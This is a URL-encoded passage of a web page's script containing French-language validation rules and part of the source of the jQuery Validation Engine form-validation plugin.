%5E%5B%5C-%5C+%5D%3F%5Cd%7B15%2C16%7D%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Number%20of%20invalid%20credit%20card%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22phone%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20credit%3A%20jquery.h5validate.js%20/%20orefalo%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%28%5B%5C+%5D%5B0-9%5D%7B1%2C3%7D%5B%20%5C.%5C-%5D%29%3F%28%5B%5C%28%5D%7B1%7D%5B0-9%5D%7B2%2C6%7D%5B%5C%29%5D%29%3F%28%5B0-9%20%5C.%5C-%5C/%5D%7B3%2C20%7D%29%28%28x%7Cext%7Cextension%29%5B%20%5D%3F%5B0-9%5D%7B1%2C4%7D%29%3F%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Num%E9ro%20de%20t%E9l%E9phone%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22email%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20Shamelessly%20lifted%20from%20Scott%20Gonzalez%20via%20the%20Bassistance%20Validation%20plugin%20http%3A//projects.scottsplayground.com/email_address_validation/%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%21%23%5C%24%25%26%27%5C*%5C+%5C-%5C/%3D%5C%3F%5C%5E_%60%7B%5C%7C%7D%7E%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29+%28%5C.%28%5Ba-z%5D%7C%5Cd%7C%5B%21%23%5C%24%25%26%27%5C*%5C+%5C-%5C/%3D%5C%3F%5C%5E_%60%7B%5C%7C%7D%7E%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29+%29*%29%7C%28%28%5Cx22%29%28%28%28%28%5Cx20%7C%5Cx09%29*%28%5Cx0d%5Cx0a%29%29%3F%28%5Cx20%7C%5Cx09%29+%29%3F%28%28%5B%5Cx01-%5Cx08%5Cx0b%5Cx0c%5Cx0e-%5Cx1f%5Cx7f%5D%7C%5Cx21%7C%5B%5Cx23-%5Cx5b%5D%7C%5B%5Cx5d-%5Cx7e%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%5C%5C%28%5B%5Cx01-%5Cx09%5Cx0b%5Cx0c%5Cx0d-%5Cx7f%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%29*%28%28%28%5Cx20%7C%5Cx09%29*%28%5Cx0d%5Cx0a%29%29%3F%28%5Cx20%7C%5Cx09%29+%29%3F%28%5Cx22%29%29%29@%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%29+%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%3F%24/i%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Adresse%20email%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22integer%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B%5C-%5C+%5D%3F%5Cd+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Integer%20invalid%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22number%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20Number%2C%20including%20positive%2C%20negative%2C%20and%20floating%20decimal.%20credit%3A%20orefalo%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B%5C-%5C+%5D%3F%28%28%28%5B0-9%5D%7B1%2C3%7D%29%28%5B%2C%5D%5B0-9%5D%7B3%7D%29*%29%7C%28%5B0-9%5D+%29%29%3F%28%5B%5C.%5D%28%5B0-9%5D+%29%29%3F%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Nombre%20flottant%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22date%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Date%20invalide%2C%20format%20YYYY-MM-DD%20requis%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ipv4%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%09%22regex%22%3A%20/%5E%28%28%28%5B01%5D%3F%5B0-9%5D%7B1%2C2%7D%29%7C%282%5B0-4%5D%5B0-9%5D%29%7C%2825%5B0-5%5D%29%29%5B.%5D%29%7B3%7D%28%28%5B0-1%5D%3F%5B0-9%5D%7B1%2C2%7D%29%7C%282%5B0-4%5D%5B0-9%5D%29%7C%2825%5B0-5%5D%29%29%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Adresse%20IP%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%28https%3F%7Cftp%29%3A%5C/%5C/%28%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%29*@%29%3F%28%28%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%29%7C%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%29+%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%3F%29%28%3A%5Cd*%29%3F%29%28%5C/%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29+%28%5C/%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29*%29*%29%3F%29%3F%28%5C%3F%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29%7C%5B%5CuE000-%5CuF8FF%5D%7C%5C/%7C%5C%3F%29*%29%3F%28%5C%23%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29%7C%5C/%7C%5C%3F%29*%29%3F%24/i%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20URL%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyNumberSp%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B0-9%5C%20%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Seuls%20les%20chiffres%20sont%20accept%E9s%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyLetterSp%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5Ba-zA-Z%5Cu00C0-%5Cu00D6%5Cu00D9-%5Cu00F6%5Cu00F9-%5Cu00FD%5C%20%5C%27%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Seules%20les%20lettres%20sont%20accept%E9es%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyLetterNumber%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B0-9a-zA-Z%5Cu00C0-%5Cu00D6%5Cu00D9-%5Cu00F6%5Cu00F9-%5Cu00FD%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Aucun%20caract%E8re%20sp%E9cial%20n%27est%20accept%E9%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%09%09%09%09//%20---%20CUSTOM%20RULES%20--%20Those%20are%20specific%20to%20the%20demos%2C%20they%20can%20be%20removed%20or%20changed%20to%20your%20likings%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ajaxUserCall%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%22ajaxValidateFieldUser%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22extraData%22%3A%20%22name%3Deric%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextLoad%22%3A%20%22*%20Chargement%2C%20veuillez%20attendre%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Ce%20nom%20est%20d%E9j%E0%20pris%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ajaxNameCall%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%22ajaxValidateFieldName%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Ce%20nom%20est%20d%E9j%E0%20pris%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextOk%22%3A%20%22*Ce%20nom%20est%20disponible%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextLoad%22%3A%20%22*%20Chargement%2C%20veuillez%20attendre%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22validate2fields%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22Veuillez%20taper%20le%20mot%20HELLO%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%3B%0A%20%20%20%20%24.validationEngineLanguage.newLang%28%29%3B%0A%7D%29%28jQuery%29%3B%0A%3C/script%3E%0A%3Cscript%3E%0A%20%28function%28%24%29%20%7B%0A%0A%09%22use%20strict%22%3B%0A%0A%09var%20methods%20%3D%20%7B%0A%0A%09%09/**%0A%09%09*%20Kind%20of%20the%20constructor%2C%20called%20before%20any%20action%0A%09%09*%20@param%20%7BMap%7D%20user%20options%0A%09%09*/%0A%09%09init%3A%20function%28options%29%20%7B%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09if%20%28%21form.data%28%27jqv%27%29%20%7C%7C%20form.data%28%27jqv%27%29%20%3D%3D%20null%20%29%20%7B%0A%09%09%09%09options%20%3D%20methods._saveOptions%28form%2C%20options%29%3B%0A%09%09%09%09//%20bind%20all%20formError%20elements%20to%20close%20on%20click%0A%09%09%09%09%24%28document%29.on%28%22click%22%2C%20%22.formError%22%2C%20function%28%29%20%7B%0A%09%09%09%09%09%24%28this%29.fadeOut%28150%2C%20function%28%29%20%7B%0A%09%09%09%09%09%09//%20remove%20prompt%20once%20invisible%0A%09%09%09%09%09%09%24%28this%29.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%09%24%28this%29.remove%28%29%3B%0A%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%7D%29%3B%0A%09%09%09%7D%0A%09%09%09return%20this%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Attachs%20jQuery.validationEngine%20to%20form.submit%20and%20field.blur%20events%0A%09%09*%20Takes%20an%20optional%20params%3A%20a%20list%20of%20options%0A%09%09*%20ie.%20jQuery%28%22%23formID1%22%29.validationEngine%28%27attach%27%2C%20%7BpromptPosition%20%3A%20%22centerRight%22%7D%29%3B%0A%09%09*/%0A%09%09attach%3A%20function%28userOptions%29%20%7B%0A%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09var%20options%3B%0A%0A%09%09%09if%28userOptions%29%0A%09%09%09%09options%20%3D%20methods._saveOptions%28form%2C%20userOptions%29%3B%0A%09%09%09else%0A%09%09%09%09options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09options.validateAttribute%20%3D%20%28form.find%28%22%5Bdata-validation-engine*%3Dvalidate%5D%22%29.length%29%20%3F%20%22data-validation-engine%22%20%3A%20%22class%22%3B%0A%09%09%09if%20%28options.binded%29%20%7B%0A%0A%09%09%09%09//%20delegate%20fields%0A%09%09%09%09form.on%28options.validationEventTrigger%2C%20%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%3Anot%28%5Btype%3Dcheckbox%5D%29%3Anot%28%5Btype%3Dradio%5D%29%3Anot%28.datepicker%29%22%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%09form.on%28%22click%22%2C%20%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dcheckbox%5D%2C%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dradio%5D%22%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%09form.on%28options.validationEventTrigger%2C%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Bclass*%3Ddatepicker%5D%22%2C%20%7B%22delay%22%3A%20300%7D%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%7D%0A%09%09%09if%20%28options.autoPositionUpdate%29%20%7B%0A%09%09%09%09%24%28window%29.bind%28%22resize%22%2C%20%7B%0A%09%09%09%09%09%22noAnimation%22%3A%20true%2C%0A%09%09%09%09%09%22formElem%22%3A%20form%0A%09%09%09%09%7D%2C%20methods.updatePromptsPosition%29%3B%0A%09%09%09%7D%0A%09%09%09form.on%28%22click%22%2C%22a%5Bdata-validation-engine-skip%5D%2C%20a%5Bclass*%3D%27validate-skip%27%5D%2C%20button%5Bdata-validation-engine-skip%5D%2C%20button%5Bclass*%3D%27validate-skip%27%5D%2C%20input%5Bdata-validation-engine-skip%5D%2C%20input%5Bclass*%3D%27validate-skip%27%5D%22%2C%20methods._submitButtonClick%29%3B%0A%09%09%09form.removeData%28%27jqv_submitButton%27%29%3B%0A%0A%09%09%09//%20bind%20form.submit%0A%09%09%09form.on%28%22submit%22%2C%20methods._onSubmitEvent%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Unregisters%20any%20bindings%20that%20may%20point%20to%20jQuery.validaitonEngine%0A%09%09*/%0A%09%09detach%3A%20function%28%29%20%7B%0A%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09//%20unbind%20fields%0A%09%09%09form.find%28%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%22%29.not%28%22%5Btype%3Dcheckbox%5D%22%29.off%28options.validationEventTrigger%2C%20methods._onFieldEvent%29%3B%0A%09%09%09form.find%28%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dcheckbox%5D%2C%5Bclass*%3Dvalidate%5D%5Btype%3Dradio%5D%22%29.off%28%22click%22%2C%20methods._onFieldEvent%29%3B%0A%0A%09%09%09//%20unbind%20form.submit%0A%09%09%09form.off%28%22submit%22%2C%20methods._onSubmitEvent%29%3B%0A%09%09%09form.removeData%28%27jqv%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%09%09%09form.off%28%22click%22%2C%20%22a%5Bdata-validation-engine-skip%5D%2C%20a%5Bclass*%3D%27validate-skip%27%5D%2C%20button%5Bdata-validation-engine-skip%5D%2C%20button%5Bclass*%3D%27validate-skip%27%5D%2C%20input%5Bdata-validation-engine-skip%5D%2C%20input%5Bclass*%3D%27validate-skip%27%5D%22%2C%20methods._submitButtonClick%29%3B%0A%09%09%09form.removeData%28%27jqv_submitButton%27%29%3B%0A%0A%09%09%09if%20%28options.autoPositionUpdate%29%0A%09%09%09%09%24%28window%29.off%28%22resize%22%2C%20methods.updatePromptsPosition%29%3B%0A%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20either%20a%20form%20or%20a%20list%20of%20fields%2C%20shows%20prompts%20accordingly.%0A%09%09*%20Note%3A%20There%20is%20no%20ajax%20form%20validation%20with%20this%20method%2C%20only%20field%20ajax%20validation%20are%20evaluated%0A%09%09*%0A%09%09*%20@return%20true%20if%20the%20form%20validates%2C%20false%20if%20it%20fails%0A%09%09*/%0A%09%09validate%3A%20function%28%29%20%7B%0A%09%09%09var%20element%20%3D%20%24%28this%29%3B%0A%09%09%09var%20valid%20%3D%20null%3B%0A%09%09%09%0A%09%09%09if%20%28element.is%28%22form%22%29%20%7C%7C%20element.hasClass%28%22validationEngineContainer%22%29%29%20%7B%0A%09%09%09%0A%09%09%09%09if%20%28element.hasClass%28%27validating%27%29%29%20%7B%0A%09%09%09%09%09//%20form%20is%20already%20validating.%0A%09%09%09%09%09//%20Should%20abort%20old%20validation%20and%20start%20new%20one.%20I%20don%27t%20know%20how%20to%20implement%20it.%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%20else%20%7B%09%09%09%09%0A%09%09%09%09%09element.addClass%28%27validating%27%29%3B%0A%09%09%09%09%09var%20options%20%3D%20element.data%28%27jqv%27%29%3B%0A%09%09%09%09%09var%20valid%20%3D%20methods._validateFields%28this%29%3B%0A%0A%09%09%09%09%09//%20If%20the%20form%20doesn%27t%20validate%2C%20clear%20the%20%27validating%27%20class%20before%20the%20user%20has%20a%20chance%20to%20submit%20again%0A%09%09%09%09%09setTimeout%28function%28%29%7B%0A%09%09%09%09%09%09element.removeClass%28%27validating%27%29%3B%0A%09%09%09%09%09%7D%2C%20100%29%3B%0A%09%09%09%09%09if%20%28valid%20%26%26%20options.onSuccess%29%20%7B%0A%09%09%09%09%09%09options.onSuccess%28%29%3B%0A%09%09%09%09%09%7D%20else%20if%20%28%21valid%20%26%26%20options.onFailure%29%20%7B%0A%09%09%09%09%09%09options.onFailure%28%29%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%20else%20if%20%28element.is%28%27form%27%29%20%7C%7C%20element.hasClass%28%27validationEngineContainer%27%29%29%20%7B%0A%09%09%09%09element.removeClass%28%27validating%27%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09//%20field%20validation%0A%09%09%09%09var%20form%20%3D%20element.closest%28%27form%2C%20.validationEngineContainer%27%29%2C%0A%09%09%09%09%09options%20%3D%20%28form.data%28%27jqv%27%29%29%20%3F%20form.data%28%27jqv%27%29%20%3A%20%24.validationEngine.defaults%2C%0A%09%09%09%09%09valid%20%3D%20methods._validateField%28element%2C%20options%29%3B%0A%0A%09%09%09%09if%20%28valid%20%26%26%20options.onFieldSuccess%29%0A%09%09%09%09%09options.onFieldSuccess%28%29%3B%0A%09%09%09%09else%20if%20%28options.onFieldFailure%20%26%26%20options.InvalidFields.length%20%3E%200%29%20%7B%0A%09%09%09%09%09options.onFieldFailure%28%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09if%28options.onValidationComplete%29%20%7B%0A%09%09%09%09//%20%21%21%20ensures%20that%20an%20undefined%20return%20is%20interpreted%20as%20return%20false%20but%20allows%20a%20onValidationComplete%28%29%20to%20possibly%20return%20true%20and%20have%20form%20continue%20processing%0A%09%09%09%09return%20%21%21options.onValidationComplete%28form%2C%20valid%29%3B%0A%09%09%09%7D%0A%09%09%09return%20valid%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20%20Redraw%20prompts%20position%2C%20useful%20when%20you%20change%20the%20DOM%20state%20when%20validating%0A%09%09*/%0A%09%09updatePromptsPosition%3A%20function%28event%29%20%7B%0A%0A%09%09%09if%20%28event%20%26%26%20this%20%3D%3D%20window%29%20%7B%0A%09%09%09%09var%20form%20%3D%20event.data.formElem%3B%0A%09%09%09%09var%20noAnimation%20%3D%20event.data.noAnimation%3B%0A%09%09%09%7D%0A%09%09%09else%0A%09%09%09%09var%20form%20%3D%20%24%28this.closest%28%27form%2C%20.validationEngineContainer%27%29%29%3B%0A%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09//%20No%20option%2C%20take%20default%20one%0A%09%09%09form.find%28%27%5B%27+options.validateAttribute+%27*%3Dvalidate%5D%27%29.not%28%22%3Adisabled%22%29.each%28function%28%29%7B%0A%09%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09%09if%20%28options.prettySelect%20%26%26%20field.is%28%22%3Ahidden%22%29%29%0A%09%09%09%09%20%20field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20field.attr%28%27id%27%29%20+%20options.useSuffix%29%3B%0A%09%09%09%09var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%09var%20promptText%20%3D%20%24%28prompt%29.find%28%22.formErrorContent%22%29.html%28%29%3B%0A%0A%09%09%09%09if%28prompt%29%0A%09%09%09%09%09methods._updatePrompt%28field%2C%20%24%28prompt%29%2C%20promptText%2C%20undefined%2C%20false%2C%20options%2C%20noAnimation%29%3B%0A%09%09%09%7D%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Displays%20a%20prompt%20on%20a%20element.%0A%09%09*%20Note%20that%20the%20element%20needs%20an%20id%21%0A%09%09*%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7BString%7D%20possible%20values%20topLeft%2C%20topRight%2C%20bottomLeft%2C%20centerRight%2C%20bottomRight%0A%09%09*/%0A%09%09showPrompt%3A%20function%28promptText%2C%20type%2C%20promptPosition%2C%20showArrow%29%20%7B%0A%09%09%09var%20form%20%3D%20this.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09//%20No%20option%2C%20take%20default%20one%0A%09%09%09if%28%21options%29%0A%09%09%09%09options%20%3D%20methods._saveOptions%28this%2C%20options%29%3B%0A%09%09%09if%28promptPosition%29%0A%09%09%09%09options.promptPosition%3DpromptPosition%3B%0A%09%09%09options.showArrow%20%3D%20showArrow%3D%3Dtrue%3B%0A%0A%09%09%09methods._showPrompt%28this%2C%20promptText%2C%20type%2C%20false%2C%20options%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Closes%20form%20error%20prompts%2C%20CAN%20be%20invidual%0A%09%09*/%0A%09%09hide%3A%20function%28%29%20%7B%0A%09%09%09%20var%20form%20%3D%20%24%28this%29.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09%20var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%20var%20fadeDuration%20%3D%20%28options%20%26%26%20options.fadeDuration%29%20%3F%20options.fadeDuration%20%3A%200.3%3B